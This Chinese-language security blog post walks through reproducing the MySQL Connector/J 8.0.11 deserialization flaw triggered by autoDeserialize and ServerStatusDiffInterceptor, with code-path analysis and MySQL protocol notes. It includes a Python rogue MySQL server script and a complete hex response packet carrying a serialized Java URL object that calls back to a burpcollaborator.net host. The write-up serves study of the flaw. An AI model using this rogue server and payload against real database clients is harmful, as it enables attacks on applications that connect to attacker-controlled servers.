MySQL反序列化学习
2024-1-6 11:35:8 Author: 伟盾网络安全(查看原文) 阅读量:20 收藏

0x01 前言

脚蹬麻袋!又菜又爱玩的java小菜又来了,今天给大家带来的是本人复现mysql反序列化漏洞的学习过程,留作日后学习笔记,与君共勉。本篇文章可能又臭又长,可以按需食用。

0x02 漏洞分析

01 环境搭建

不管任何漏洞复现,第一步必然是搭建环境,本次也不例外,咱们先把环境搞起来。

先新建一个空的maven项目,然后pom.xml写入如下依赖。

<dependencies>        <dependency>            <groupId>mysql</groupId>            <artifactId>mysql-connector-java</artifactId>            <version>8.0.11</version>        </dependency>    </dependencies>

然后再写一个java测试类

package com.test;
import java.sql.*;import java.util.HashMap;import java.util.Map;
/** queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true* */public class MysqlTest { public static String user; public static String password; public static Connection conn;
static{ try { Class.forName("com.mysql.cj.jdbc.Driver"); System.out.println("加载数据库驱动完成"); } catch (ClassNotFoundException e) { e.printStackTrace(); }
user = "root"; password = "root"; try { conn = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/test?useUnicode=true&characterEncoding=gbk&serverTimezone=UTC&useSSL=false&autoDeserialize=true", user, password); System.out.println("数据库连接成功"); } catch (SQLException throwables) { throwables.printStackTrace(); } }
public static void main(String[] args) { String sql = "select name from user where name='haha'"; String sql3 = "select binary_data from mytable"; String sql2 = "SHOW SESSION STATUS"; Map<String, String> toPopulate = new HashMap<>(); try { Statement stat = conn.createStatement(); ResultSet resultSet = stat.executeQuery(sql2); resultSet.next(); Object string = resultSet.getObject(1); System.out.println(string); } catch (SQLException throwables) { throwables.printStackTrace(); } }}

第一步环境到这里就大功告成了!

02 如何发现漏洞

我们再来说说该类型漏洞要如何挖掘,当然不是本人发现的,只是基于已知漏洞提出一种挖掘思路。

首先我们找到8.0.11版本mysql的jar包,使用jd-gui打开

然后全局搜索readObject

可以看到出现了两个符合条件的类,我们分别进去看一看

com.mysql.cj.jdbc.util.ResultSetUtil#readObject

com.mysql.cj.jdbc.result.ResultSetImpl#getObject(int)

对比看下来,很显然第二处更像是一个合格的反序列化漏洞,将data作为输入流,最后进行反序列化,data怎么来的我们现在不要纠结,后面会分析。

接下来,我们就要看看这个点是否可以为我们所用,全局搜索getObject

在com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap(java.util.Map, java.sql.ResultSet)方法中,我们看到调用了com.mysql.cj.jdbc.result.ResultSetImpl#getObject(int)

因为ResultSetImpl实现了ResultSet接口

再继续往下追,看看哪里调用了com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap(java.util.Map, java.sql.ResultSet)方法

随后在com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues方法处被调用

按照前面的思路,继续搜索populateMapWithSessionStatusValues方法

发现在以下两个方法中调用了populateMapWithSessionStatusValues,分别是com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#postProcess和com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#preProcess

再往下追的话,就会追到com.mysql.cj.interceptors.QueryInterceptor

可以看到已经到接口了,这时候很多人可能就会卡壳了,也包括我😄。

这也是很多逆向追踪的弊端,那就是对程序本身并不了解,期望通过污染点回溯,就能rce。从现在安全角度来看,不太现实了,程序只会越做越安全,捡洞的现象不常见了。

03 卡壳,如何破局?

答案就是翻阅官方文档或查找资料,看看这个接口是做什么用的。

这里QueryInterceptor 接口供我们对 SQL 请求进行拦截处理,preProcess方法在查询sql执行前被调用,postProcess在查询sql返回结果后被调用。

其执行流程图如下

知道了其作用,就要了解如何才能触发该拦截器了。

这里的话可以在建立SQL连接的时候,加上?queryInterceptors=xxxxInterceptor

这里我也是写了一个demo帮助大家更好的理解

package com.test;
import com.mysql.cj.MysqlConnection;import com.mysql.cj.Query;import com.mysql.cj.interceptors.QueryInterceptor;import com.mysql.cj.jdbc.JdbcConnection;import com.mysql.cj.log.Log;import com.mysql.cj.protocol.Resultset;import com.mysql.cj.protocol.ServerSession;
import java.util.Properties;import java.util.function.Supplier;
public class DemoInterceptor implements QueryInterceptor {
public JdbcConnection connection;
public QueryInterceptor init(MysqlConnection mysqlConnection, Properties properties, Log log) { this.connection = (JdbcConnection)mysqlConnection; return this; }
public <T extends Resultset> T preProcess(Supplier<String> supplier, Query query) { System.out.println("查询前被调用"); return null; }
public boolean executeTopLevelOnly() { return false; }
public void destroy() {
}
public <T extends Resultset> T postProcess(Supplier<String> supplier, Query query, T t, ServerSession serverSession) { System.out.println("查询后被调用"); return null; }}

修改jdbc连接字符串

jdbc:mysql://127.0.0.1:3306/test?useUnicode=true&characterEncoding=gbk&serverTimezone=UTC&useSSL=false&autoDeserialize=true&queryInterceptors=com.test.DemoInterceptor

然后运行sql查询语句

可以看到拦截器成功运转起来了。

至此,从发现漏洞点,到回溯漏洞点,以及最后的触发漏洞点已经完整梳理好了。

但是否能称之为一个漏洞,还要看data是否为用户可控,如果不可控,那么就是白搭。回到com.mysql.cj.jdbc.result.ResultSetImpl#getObject(int)

从这里可以看到,data其实就是查询结果的值,也就是数据库列的值,很显然是我们可控的,到这里我们可以称之为一个反序列化漏洞。

04 构造和复现

想要构造poc并且复现该漏洞,那么就需要看看如何满足触发条件,细细看来。

反序列化的点一共有两处,第一处当case BIT满足之后,进入代码块

第二处,当case BLOB满足之后,进入代码块

这里的BIT和BLOB是mysql字段类型,取值分别如下

字段类型

数字编号

MYSQL_TYPE_BIT

16

MYSQL_TYPE_BLOB

252

MYSQL_TYPE_DATE

10

MYSQL_TYPE_DATETIME

12

MYSQL_TYPE_DECIMAL

0

MYSQL_TYPE_DOUBLE

5

MYSQL_TYPE_ENUM

247

MYSQL_TYPE_FLOAT

4

MYSQL_TYPE_GEOMETRY

255

MYSQL_TYPE_INT24

9

MYSQL_TYPE_LONG

3

MYSQL_TYPE_LONGLONG

8

MYSQL_TYPE_LONG_BLOB

251

MYSQL_TYPE_MEDIUM_BLOB

250

MYSQL_TYPE_NEWDATE

14

MYSQL_TYPE_NEWDECIMAL

246

MYSQL_TYPE_NULL

6

MYSQL_TYPE_SET

248

MYSQL_TYPE_SHORT

2

MYSQL_TYPE_STRING

254

MYSQL_TYPE_TIME

11

MYSQL_TYPE_TIMESTAMP

7

MYSQL_TYPE_TINY

1

MYSQL_TYPE_TINY_BLOB

249

MYSQL_TYPE_VARCHAR

15

MYSQL_TYPE_VAR_STRING

253

不论是第一处还是第二处,都可以看到一段代码

 if (!(Boolean)this.connection.getPropertySet().getBooleanReadableProperty("autoDeserialize").getValue()) {    return data;}

这个条件如果不满足的话,那么就不会进入下面的反序列化,而是会直接返回结果值。所以我们需要让autoDeserialize的值为true,这也就解释了复现payload为什要有autoDeserialize=true这个参数了。

再往下可以看到如下判断

if (data[0] != -84 || data[1] != -19) {    return this.getString(columnIndex);}

如果byte数组第一个字节不为-84,第二个字节不为-19,那么就会直接返回字符串内容,不反序列化。

-84,-19是什么,看两张图就一目了然了

ac ed就是反序列化经典的开场白。

到这里我们就知道了,其实data就是一个序列化后的byte数组,将其存入mysql,随后读取出来即可满足条件。

知道如何满足条件之后,就该了解一下data从哪来了,回到com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues

data来自show session status查询后的结果,正常情况下其值如下

再看看rs.getObject(1)获取的结果是什么

到这里,大家能想到如何触发漏洞了吗?思考一分钟。。。

这里我说一下我的想法,那就是wireshark抓取返回结果数据包,然后替换成恶意序列化数据,最后进入getObject方法触发漏洞。

想法是美好的,但又要花费一点时间学习一下基础的mysql协议,是的,mysql协议他来了。。。

05 小插曲,mysql协议

MySQL客户端与服务器的交互主要分为两个阶段:握手认证阶段和命令执行阶段。

握手认证阶段为客户端与服务器建立连接后进行,交互过程如下:

  • 服务器 -> 客户端:握手初始化消息

  • 客户端 -> 服务器:登陆认证消息

  • 服务器 -> 客户端:认证结果消息

客户端认证成功后,会进入命令执行阶段,交互过程如下:

  • 客户端 -> 服务器:执行命令消息

  • 服务器 -> 客户端:命令执行结果

示意图如下

这么说可能会有点枯燥难懂,我们实战抓包来看一下

握手阶段,服务器会发送一个握手初始化消息

收到握手初始化信息后,客户端会发起一个登录认证请求

账号密码正确的话,服务端就会返回认证成功

认证成功之后,客户端就要开始发送查询请求了

查询成功后,服务端返回查询结果

至此,完整的交互过程结束。

我们重点要关注的就是返回结果数据包,不过在此之前我们得先伪造一个mysql服务端,和客户端建立连接,只要模拟上面的认证流程即可,脚本如下

import socketimport timeimport struct
test_packet = b'\x4a\x00\x00\x00\x0a\x35\x2e\x37\x2e\x32\x36\x00\x08\x00\x00\x00\x21\x7e\x5a\x16\x0c\x5d\x20\x65\x00\xff\xf7\xc0\x02\x00\xff\x81\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7a\x72\x06\x25\x3a\x38\x4d\x4f\x3b\x37\x3d\x29\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00'success = b'\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00'response_ok = b'\x07\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00'

socket_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)socket_server.bind(('0.0.0.0', 3306))socket_server.listen()
conn,addr = socket_server.accept()conn.send(test_packet)AUTH_PACK = conn.recv(1024)conn.send(success)request = conn.recv(1024)print(request)
while True: conn.send(response_ok) print("again") res1 = conn.recv(1024) if "SHOW SESSION STATUS" in res1.decode(): print("res1 : " + res1.decode()) #conn.send(res_session2) elif "select user from" in res1.decode(): print("res1 : " + res1.decode()) #conn.send(eval_res2) elif "select binary_data from" in res1.decode(): print("res1: " + res1.decode()) #conn.send(eval_res2) conn.close()

脚本有点简陋,凑合着看看。

这里主要是模拟了认证流程,将握手初始化消息包和认证成功数据包copy了下来,然后模拟发送数据包即可

copy方式也很简单,wireshark选中对应的数据包,选择以下选项即可

随后,你就会得到如下一串字符

处理一下就可以直接拿来用了。

简易的mysql服务端有了,交互也有了,下面就是本篇文章的重点了,如何构造恶意数据包。

这里我建议初学者,不熟悉mysql协议的话,还是先正向,再逆向。什么意思呢?就是先正常触发一次漏洞,将其数据包抓起来,然后进行分析和改造。不然的话会踩很多坑,相信我!

当然如果想硬刚的,可以跳过下面的内容,直接去分析构造数据包了。

如何正常触发漏洞呢,其实也很简单,我们新建一个表如下

CREATE TABLE mytable (    id INT PRIMARY KEY,    binary_data BLOB);

随后将我们生成的恶意序列化数据写入binary_data字段

import mysql.connector
cnx = mysql.connector.connect(user='root', password='root', host='127.0.0.1', database='test')
# 读取二进制文件内容with open("/eval.ser", "rb") as f: blob_data = f.read() print(blob_data)
# 插入 BLOB 数据query = "INSERT INTO mytable (binary_data) VALUES (%s)"cursor = cnx.cursor()cursor.execute(query, (blob_data,))cnx.commit()
# 关闭数据库连接cursor.close()cnx.close()

写入之后就可以编写查询语句,手动触发了

String sql = "select binary_data from mytable";Statement stat = conn.createStatement();ResultSet resultSet = stat.executeQuery(sql);resultSet.next();Object string = resultSet.getObject(1);System.out.println(string);

效果如下

查看抓包结果

可以看到response被分为了四个协议包,第二个中包含字段类型,也就是为了满足前面case BLOB的条件

第三个包中是序列化的内容

最后第四个包是结尾,表示本次请求结束

如果要构造自定义数据包还需要了解一个知识点,那就是小端存储

小端存储(Little-endian)是一种计算机数据存储方式,其中低位字节(即数值中的最后一个字节)存储在内存地址的最前面,而高位字节(即数值中的第一个字节)存储在内存地址的最后面。

例如,以十六进制表示的整数 0x12345678 在小端存储中被存储为 0x78 0x56 0x34 0x12。

了解完小端存储后,我们来说一下需要做哪些事情。

首先第一、二、四的mysql协议包我们需要原封不动的copy出来

我们唯一要修改的就是第三个包

前四个字节为一个整体,后三个字节为一个整体,且听我细细道来。

首先我们前面看到第三个包的长度为356,我们将其转换成十六进制是多少呢

可以看到是0x164,回到我们前面说的小端存储,那么就应该变成0x64 0x01,这个时候是不是突然就茅塞顿开了。

这里356表示的是除去前四个字节以外剩下的总长度。

再来说说后三个字节表示什么意思,\xfc其实和后面两个16进制字符有着强关联,当为\xfc时,才会对后面两个字符进行还原,其实也是小端存储,161

表示除去\xfc\x61\x01三个字符后,序列化数据的总长度,有点像套娃,\x64\x01\x00\x03字符记录的是加上三个字符后的总长度。

长度如果搞不清楚,那么构造数据包就很容易出错导致无法触发。

说完了以上知识点之后,最终payload构造如下

\x01\x00\x00\x01\x01\x3e\x00\x00\x02\x03\x64\x65\x66\x04\x74\x65\x73\x74\x07\x6d\x79\x74\x61\x62\x6c\x65\x07\x6d\x79\x74\x61\x62\x6c\x65\x0b\x62\x69\x6e\x61\x72\x79\x5f\x64\x61\x74\x61\x0b\x62\x69\x6e\x61\x72\x79\x5f\x64\x61\x74\x61\x0c\x3f\x00\xff\xff\x00\x00\xfc\x91\x10\x00\x00\x00\x64\x01\x00\x03\xfc\x61\x01\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x73\x72\x00\x0c\x6a\x61\x76\x61\x2e\x6e\x65\x74\x2e\x55\x52\x4c\x96\x25\x37\x36\x1a\xfc\xe4\x72\x03\x00\x07\x49\x00\x08\x68\x61\x73\x68\x43\x6f\x64\x65\x49\x00\x04\x70\x6f\x72\x74\x4c\x00\x09\x61\x75\x74\x68\x6f\x72\x69\x74\x79\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x66\x69\x6c\x65\x71\x00\x7e\x00\x03\x4c\x00\x04\x68\x6f\x73\x74\x71\x00\x7e\x00\x03\x4c\x00\x08\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x71\x00\x7e\x00\x03\x4c\x00\x03\x72\x65\x66\x71\x00\x7e\x00\x03\x78\x70\xff\xff\xff\xff\xff\xff\xff\xff\x74\x00\x33\x7a\x77\x7a\x30\x6a\x38\x37\x72\x34\x7a\x79\x63\x62\x77\x75\x35\x68\x70\x79\x6e\x76\x62\x30\x64\x79\x34\x34\x75\x73\x6a\x2e\x62\x75\x72\x70\x63\x6f\x6c\x6c\x61\x62\x6f\x72\x61\x74\x6f\x72\x2e\x6e\x65\x74\x74\x00\x00\x71\x00\x7e\x00\x05\x74\x00\x04\x68\x74\x74\x70\x70\x78\x74\x00\x3a\x68\x74\x74\x70\x3a\x2f\x2f\x7a\x77\x7a\x30\x6a\x38\x37\x72\x34\x7a\x79\x63\x62\x77\x75\x35\x68\x70\x79\x6e\x76\x62\x30\x64\x79\x34\x34\x75\x73\x6a\x2e\x62\x75\x72\x70\x63\x6f\x6c\x6c\x61\x62\x6f\x72\x61\x74\x6f\x72\x2e\x6e\x65\x74\x78\x07\x00\x00\x04\xfe\x00\x00\x02\x00\x00\x00

随后使用伪造mysql服务端发送该数据包即可触发

起一个python服务

客户端发起请求

好啦!如果你看到这里,那么恭喜你,已经掌握了漏洞复现以及基础的mysql协议了,为自己鼓鼓掌吧!

0x03 总结

本漏洞虽然基础,但是想要搞懂其中所有环节,还是需要花费一些时间,希望大家看完能有所收获,下次再见。

0x04 参考文章

MySQL协议分析

https://www.cnblogs.com/davygeek/p/5647175.html

实现自己的数据库驱动

https://callmejiagu.github.io/categories/%E5%AE%9E%E7%8E%B0%E8%87%AA%E5%B7%B1%E7%9A%84%E6%95%B0%E6%8D%AE%E5%BA%93%E9%A9%B1%E5%8A%A8/


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwOTIxNzQ5OA==&mid=2247484710&idx=1&sn=9ec2ea429de29701afa112bec1993ac6&chksm=c01371ce772cf60b600ae6ca1c74db947237c5fb5358928cccdc10430b4d7854af696317063e&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh